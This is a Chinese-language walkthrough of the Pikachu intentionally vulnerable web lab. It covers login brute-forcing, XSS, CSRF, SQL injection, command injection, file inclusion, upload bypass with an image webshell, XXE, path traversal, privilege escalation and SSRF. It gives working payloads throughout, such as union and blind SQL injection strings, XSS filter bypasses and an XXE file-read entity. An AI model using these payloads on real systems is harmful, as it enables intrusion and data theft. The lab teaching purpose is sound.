pikachu漏洞靶场通关
靶场链接文末获取
- 一、密码爆破
- 1.1 基于表单的暴力破解
- 1.2 验证码绕过(on server)
- 1.3 验证码绕过(on client)
- 1.4 token防爆破
- 二、Cross-Site Scripting(XSS)
- 2.1 反射型xss(get)
- 2.2 反射型XSS(post)
- 2.3 存储型XSS
- 2.4 DOM型XSS
- 2.5 DOM型XSS-X
- 2.6 XSS之盲打
- 2.7 XSS之过滤
- 2.8 XSS之htmlspecialchars
- 2.9 XSS之href输出
- 2.10 XSS之js输出
- 三、CSRF
- 3.1 CSRF(get)
- 3.2 CSRF(post)
- 3.3 CSRF Token
- 四、SQL-Inject(SQL注入)
- 4.1 数字型注入(post)
- 4.2 字符型注入(get)
- 4.3 搜索型注入
- 4.4 xx型注入
- 4.5 "insert/update"注入
- 4.6 "delete"注入
- 4.7 "http header"注入
- 4.8 盲注(布尔判断)
- 4.9 盲注(延时判断)
- 4.10 宽字节注入
- 五、RCE(命令执行)
- 5.1 ping
- 5.2 eval
- 六、File Inclusion(文件包含)
- 6.1 File Inclusion(local)
- 6.2 File Inclusion(remote)
- 七、Unsafe Filedownload(非安全文件下载)
- 7.1 Unsafe Filedownload
- 八、Unsafe Fileupload(非安全文件上传)
- 8.1 client check(客户端检测)
- 8.2 MIME type(MIME文件类型)
- 8.3 getimagesize(获取图片信息函数)
- 九、Over Permission(越权)
- 9.1 水平越权
- 9.2 垂直越权
- 十、目录遍历
- 10.1 目录遍历漏洞
- 十一、敏感信息泄露
- 11.1 IcanseeyouABC
- 十二、XXE
- 12.1 XXE漏洞(xml外部实体注入)
- 十三、URL重定向
- 13.1 URL跳转
- 十四、SSRF
- 14.1 SSRF(curl)
- 14.2 SSRF(file_get_content)
- pikachu靶场:
- 文章精选
- 学习交流群
一、密码爆破
1.1 基于表单的暴力破解
❝
使用burp抓包
❝
丢到Intruder模块并将包中自带参数删除
❝
将账号和密码两个加上参数并选择Cluster bomb模块
❝
选择第一个参数表(账号),并且在下方添加爆破参数
❝
选择第二个参数表(密码)导入弱密码字典,完成点击start attack开始爆破
❝
点击Length进行长度排序,该长度是Response响应报文的长度,登录成功和登录失败肯定返回的响应不同,根据这个原理进行判断,直接找返回长度不同的即可
❝
最终得到三组账号密码
admin 123456
test abc123
pikachu 000000
1.2 验证码绕过(on server)
❝
首先输入错误的账号密码,然后抓包放到Reperter里(可以Ctrl+r快捷键),点几次发送,会发现一直显示的是账号和密码错误
❝
之后将账号密码改为正确的,再发送,会发现显示登录成功
❝
由此可知,登录时的验证码是不会失效的,所以就拿着正确的验证码,同1.1直接去密码爆破就行
1.3 验证码绕过(on client)
❝
同样的,输入抓包看Response
❝
因为全是中文所以一眼就看到了,可以知道该登录验证码验证是js代码放在前端的,我们都知道前端是在客户端的(可控),所以我们直接将包中有验证码的参数删了。
❝
没有验证码参数也就不会进行验证,直接拿去爆破.
1.4 token防爆破
❝
抓包,有token连发两次会报错,删掉token还是不行,但是我们注意到右框中奖token值回显在HTML前端属性中,这个时候我们就可以配置一个正则重定向,让BP在每次爆破的时候自动爬取这个token值,并带入进行爆破
❝
先改变量,对密码和token两个变量进行爆破,并将Attack type模式改为Pitchfork草叉模式
❝
密码就正常添加字典,然后到tooken配置页面,Payload type改为Recursive grep。
❝
然后来到Options中的Grep-Extact配置重定向
❝
点击Fetch response 获取相应
❝
然后直接将token值标出来就行,系统会自己填写正则表达式
❝
最后调低一下线程,改为1,最后直接爆破
❝
最后得到结果
二、Cross-Site Scripting(XSS)
2.1 反射型xss(get)
❝
xss口令:见框就插 基本检测语句:
<script>alert("XSS")</script>
输入进去会发现
❝
存在最大输入长度限制(一般都是前端的操作)
方法一:
修改前端
❝
将maxlength值修改,然后输入
<script>alert("XSS")</script>
方法二:
URL中输入
❝
观察URL,我们输入的参数与URL中的message参数绑定
❝
将
<script>alert("XSS")</script>
输入到URL中。
❝
这样就能在不修改前端的情况下完成XSS
2.2 反射型XSS(post)
❝
尝试输入,发现在下方存在数据回显
❝
直接在框内插入
<script>alert("XSS")</script>
得到提示框
2.3 存储型XSS
存储型与反射性的区别就是,反射型是一次性的,而存储型是存在数据库中的,每请求一次就会触发一次
❝
留言列表不删除,每刷新一次就会触发一次
2.4 DOM型XSS
DOM型就是将XSS输入到标签属性中了,利用属性进行触发
❝
我们可以看到输入的内容显示在a标签的href属性中,当我们点击超链接what do you see?时就会触发标签内容 输入命令
javascript:alert(23)
之后点击超链接就会触发XSS
2.5 DOM型XSS-X
❝
同上,区别就是点击两次进行触发
2.6 XSS之盲打
XSS盲打就是攻击者在进行XSS插入时不会在前端有回显,但是在后台可以看得到,当管理员进行后台登录时就会看到XSS的内容,如果存在这种漏洞危害性还是很大的,因为能直接盗取管理员的COOKIE拿到权限,但又十分隐蔽,只能进行尝试不能确保一定存在。
❝
进行语句插入,根据右上角提示查看插入效果
2.7 XSS之过滤
❝
大小写混淆过滤,
<scRipt>alert(14)</sCript>
使用注释进行干扰:<sc<!--test--> ript> alert(14)</scr <--test--> ipt>
重写:<scri<script> pt> alert(14)</scri</script> pt>
使用img标签<img src=xss onerror="alert(11)">
2.8 XSS之htmlspecialchars
❝
先输入一个字符,发现会回显一个超链接,直接插入
javascript:alert("XSS")
,点击超链接出现框框 htmlspecialchars()函数把预定义的字符转换为HTML实体 &(和号)成为& "(双引号)成为" '(单引号)成为' <(小于)成为< ‘>’(大于)成为>
2.9 XSS之href输出
同上
2.10 XSS之js输出
❝
根据提示,输入tmac
❝
发现是字符连接,所以输入时候要先闭合再插入,
tmac'</script><script>alert('xss')</script>
最后得到框框
三、CSRF
3.1 CSRF(get)
❝
随便登入一个用户,然后修改抓包
❝
得到URL
192.168.3.245/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=2&phonenum=2&add=2&email=2&submit=submit
,观察数据包session还是自己的,但是当用别的用户登录时再打开这个URL就会执行同样的修改操作,我们发现kobe账号的信息已经被修改,在URL中提交参数是GET请求方法
3.2 CSRF(post)
❝
在表单中提交参数使用的是POST请求方法,抓包,发现参数都在请求正文中,因为这些都在请求体中所以我们要自己搭一个恶意站点去构造URL,让vince去点击这个站点触发脚本进行执行。
3.3 CSRF Token
加了token之后,每一次请求服务端都会给用户发送一个随机码来预防CSRF请求伪造。
❝
知道token的生成方法才有可能被利用(所以在做防护时生成token是要有足够的随机性)
四、SQL-Inject(SQL注入)
4.1 数字型注入(post)
❝
因为是选择框不能修改数据,所以直接抓包在bp中改数据
❝
SQL注入中对于数字型注入不需要进行闭合,直接 and 1=1 和and 1=2 进行探测发现返回的响应页面不同(漏洞简单探测)
❝
开始注入首先利用order by 探测列表数,order by 3出错,order by 2正常,所以表单列数为2.
❝
union 查询 id=2 union select user(),database()--+ 可以在后面加上注释符(习惯性加,不知道后面会写什么)
4.2 字符型注入(get)
❝
直接在URL中注入就可以(GET请求方法)
❝
输入一个单引号
'
发现报错(简单漏洞探测) 并且有报错回显也可以进行报错注入
❝
然后后面加上--+注释符页面又会正常,接下来的注入流程和上面的一样先order by再union
4.3 搜索型注入
❝
也是在url中字符型(get请求),注入方法同上
4.4 xx型注入
❝
同上
4.5 "insert/update"注入
❝
insert:在用户位置输入
x' or updatexml(1,concat(0x7e,database()),0) or '
进行注入,得到数据信息
❝
update思路一样,闭合查询
4.6 "delete"注入
❝
点击删除,抓包,在id位置进行注入 id=1+or+updatexml(1,concat(0x7e,database()),0)
4.7 "http header"注入
❝
在COOKIE里进行注入,操作同上,只是位置不同,直接在bp中抓包修改即可 注入的方法都一样,类似的还有XFF注入
4.8 盲注(布尔判断)
盲注,即无数据回显,不能看到返回的数据,需要利用其他方式判断(布尔 or 延时)
❝
输入
kobe' and 1=1#
数据正常显示,1=1为真,所以当and条件为真时数据就正常显示,反之无数据展示
❝
利用
kobe' and substr(database(),1,1)='p'#
substr函数时对字符串进行截取,这里是截取从第一个字符开始长度为1的字符 我们知道数据库名字是pikachu 所以当输入这个条件时,会正常返回
❝
根据这个判断知道数据库第一个字符是p
❝
之后修改substr函数的参数向后依次进行判断
❝
有个关于盲注的便捷方法,就是使用bp设置两个参数变量,设置好字典让bp自己去跑.
4.9 盲注(延时判断)
❝
延时判断就要用到sleep函数了,
kobe' and sleep(3)#
利用数据库的延时,进行正误的判断,会发现页面停顿3秒后才有回显 我们可以利用if函数if(条件,为真时执行的操作,为假时执行的操作)kobe' and if((substr(database(),1,1))='p',sleep(3),null)#
4.10 宽字节注入
一般在防御SQL注入的时候都会开启gpc,来过滤特殊字符 数据库编码与PHP编码设置为不同的两个编码,那就可能产生宽字节注入
❝
输入
kobe%df'+or+1=1#
%df'==(数据库GBK)==運’原理:
’+%df=運’ %df会消除反斜杠 变成一个可以实现闭合的字符
五、RCE(命令执行)
5.1 ping
❝
这里是直接拼接字符的,可以用其他特殊符号进行执行
;
(分号) 命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执 行失败时,不会中断其它命令的执行。|
(管道符号) 通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它 失败后,会执行另外一条命令&
(后台任务符号) 命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符 号使shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他 工作&&
(逻辑与) 前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后 面的命令才被执行||
(逻辑或) 前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的 命令才被执行;
5.2 eval
eval是php远程命令执行的函数
❝
用法:
phpinfo();
直接查看php配置文件
六、File Inclusion(文件包含)
6.1 File Inclusion(local)
本地文件包含可以将存于服务器本地的文件进行包含读取,如可以将服务器敏感文件进行包含读取
❝
如:将文件路径替换为
............windowssystem32driversetchosts
可以进行读取
6.2 File Inclusion(remote)
远程文件包含,这个就允许其他客户端或者服务器的文件进行远程的包含了,危害极大可以直接上传SHELL,拿到web的权限。
❝
可以直接远程包含一个一句话木马拿shell
<?php phpinfo();?>
,将这个文件写在自己的机器上用远端进行文件读取,http://192.168.1.2/webshell.php
七、Unsafe Filedownload(非安全文件下载)
7.1 Unsafe Filedownload
观察url,下载的文件是可以根据URL中的参数进行任意修改的,也就是说如果知道了项目路径,可以达到任意文件下载的目的当然有passwd、shadow但不限于此。
八、Unsafe Fileupload(非安全文件上传)
8.1 client check(客户端检测)
上传一句话木马.php文件会直接弹窗
进行burp抓包的话发现并没有数据包说明,是在前端进行拦截并没有传到后端。
❝
方法一、直接将前端js代码删掉。 方法二、先将shell后门文件的文件扩展名改为允许上传的名字,然后进行转包,在bp中进行改包重发。
改完后,再放包
8.2 MIME type(MIME文件类型)
抓包,直接修改数据包中的MIME文件类型,随后上传
8.3 getimagesize(获取图片信息函数)
Getimagesize ( ) 返回文件大小和文件类型
❝
方法一、直接伪造头部GIF89A 方法二、制作图片马,配合文件包含漏洞进行漏洞利用 CMD中输入命令:
copy /b 1.jpg + shellweb.php upload.jpg
进行图片与一句话木马的捆绑,然后进行上传,之后再文件包含漏洞界面利用php伪协议进行图片马执行,获取shell
九、Over Permission(越权)
9.1 水平越权
点击提示查看账号,lucy、lili、kobe三个账号,观察URL发现存在一个username参数并且恰好对应着我们登录的kobe账号,尝试对username进行修改,username=lucy,发现个人信息会显示成lucy账号的信息,存在同级水平越权
9.2 垂直越权
先看提示的账户
先登录pikachu账号,发现只有查看权限,并且URL中也并没有存在什么可利用的信息
再登录admin管理员账号,发现URL出有变化,普通用户是op2_user.oho页面,管理员是op2_admin.php页面,那就尝试用普通用户或管理员用户修改URL进入页面,看看是否会造成越权。
利用普通用户修改成admin会重定向回login页面,但是用管理员用户修改成user则会直接跳转成普通用户。
那只能去看admin用户执行增加用户操作时会不会产生越权,发现URL中文件为op2_admin_edit.php,尝试使用普通用户访问。
使用pikachu用户访问发现,可以进行跳转并且进行可以执行用户添加操作,存在垂直越权漏洞
十、目录遍历
10.1 目录遍历漏洞
利用可控的文件名进行任意文件访问
直接进行passwd或shadows的访问
十一、敏感信息泄露
11.1 IcanseeyouABC
根据题目名字查看abc,将路径修改改为abc.php可以将同目录下的该文件进行查看
十二、XXE
12.1 XXE漏洞(xml外部实体注入)
libxml<libxml2.9 不支持外部实体 libxml版本可以在phpinfo中查看
简单检测 <gg>gg</gg>
,返回gg字符,存在漏洞且具有回显
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=phpinfo.php" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall>
利用伪协议进行文件读取。
十三、URL重定向
13.1 URL跳转
出现在URL跳转的地方,如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题
利用该构造的URL,就会跳转到百度搜索页面,当然这个漏洞如果被攻击者发现可能就会被用来跳转到其搭建的钓鱼网站中。
十四、SSRF
14.1 SSRF(curl)
❝
PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec()
攻击者输入的地址会让服务器进行发起请求,并返回得到的数据,简单来说就是利用服务器的权限去请求一些其他的非法内容。 这里可以直接看到URL,尝试修改http://192.168.3.245/pikachu-master/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com
14.2 SSRF(file_get_content)
点击显示内容,在URL中发现file参数,可以利用伪协议进行本地文件读取也可以进行源码查看。
读取之后发现源码被加密,但看着像是Base64加密,拿去进行解密直接拿到源代码。
pikachu靶场:
https://github.com/zhuifengshaonianhanlu/pikachu
原文始发于微信公众号(泷羽Sec-Blanks):pikachu漏洞靶场通关手册(万字图文解析)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论